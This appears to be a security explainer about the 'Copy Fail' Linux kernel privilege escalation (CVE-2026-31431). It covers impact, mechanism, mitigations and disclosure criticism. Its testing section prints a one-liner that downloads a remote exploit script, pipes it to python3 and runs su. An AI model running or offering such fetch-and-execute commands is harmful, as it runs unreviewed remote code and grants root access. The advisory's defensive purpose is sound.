What the Vulnerability Does
CVE-2026-31431 allows any unprivileged user with code execution access to elevate themselves to root administrator. An attacker exploiting a separate vulnerability (like a WordPress plugin flaw) to gain shell access as an unprivileged user can then run the Copy Fail exploit to become root and access the entire system. This is particularly dangerous in multi-tenant environments such as Kubernetes containers, shared hosting, CI/CD pipelines, and WSL2 instances on Windows laptops where multiple users share the same Linux kernel.
How the Exploit Works
The vulnerability exploits the algif_aead kernel function's optimization flaw. An attacker provides data for encryption via an AF_ALG socket, splicing in an executable like 'su' as the tag. The authencesn encryption algorithm writes 4 bytes at a fixed offset in its output buffer, but because the tag data is chained by reference rather than copied, those 4 bytes get written directly into the kernel's cached copy of the executable. When the executable is called, it becomes corrupted with root privileges. This happens entirely in memory with no detectable disk writes.
How to Fix It
If your distribution has released a patched kernel version, install it immediately. If your distro compiles algif_aead as a loadable module, you can disable it by adding 'echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf'. For distributions that compile this functionality into the kernel core (such as RHEL and WSL2), you must prevent unprivileged users from opening AF_ALG sockets using seccomp profiles, AppArmor, or SELinux policies.
Verification and Testing
To check if your system is vulnerable, you can run 'curl https://copy.fail/exp | python3 && su' with a standard unprivileged account, though this involves trusting an online script. Alternatively, source code for the proof-of-concept exploit is publicly available for local verification.
Disclosure and Impact
Researchers from Theori privately disclosed the vulnerability five weeks before publicly releasing exploit code on Wednesday evening. The Linux kernel security team patched the vulnerability, but few distributions had incorporated those fixes before the exploit was released, creating a significant patch gap. Security experts have criticized the disclosure coordination, noting that at the time of public release, the four listed affected vendors had no patches available.
Why This Matters
This is considered the most severe Linux privilege escalation vulnerability in recent years, comparable to Dirty Pipe (2022) and Dirty Cow (2016). The exploit's reliability across all distributions with identical code, combined with its small size and the broad window of affected systems going back nine years, makes it an exceptional threat to data centers, container environments, and CI/CD pipelines worldwide. 
Answer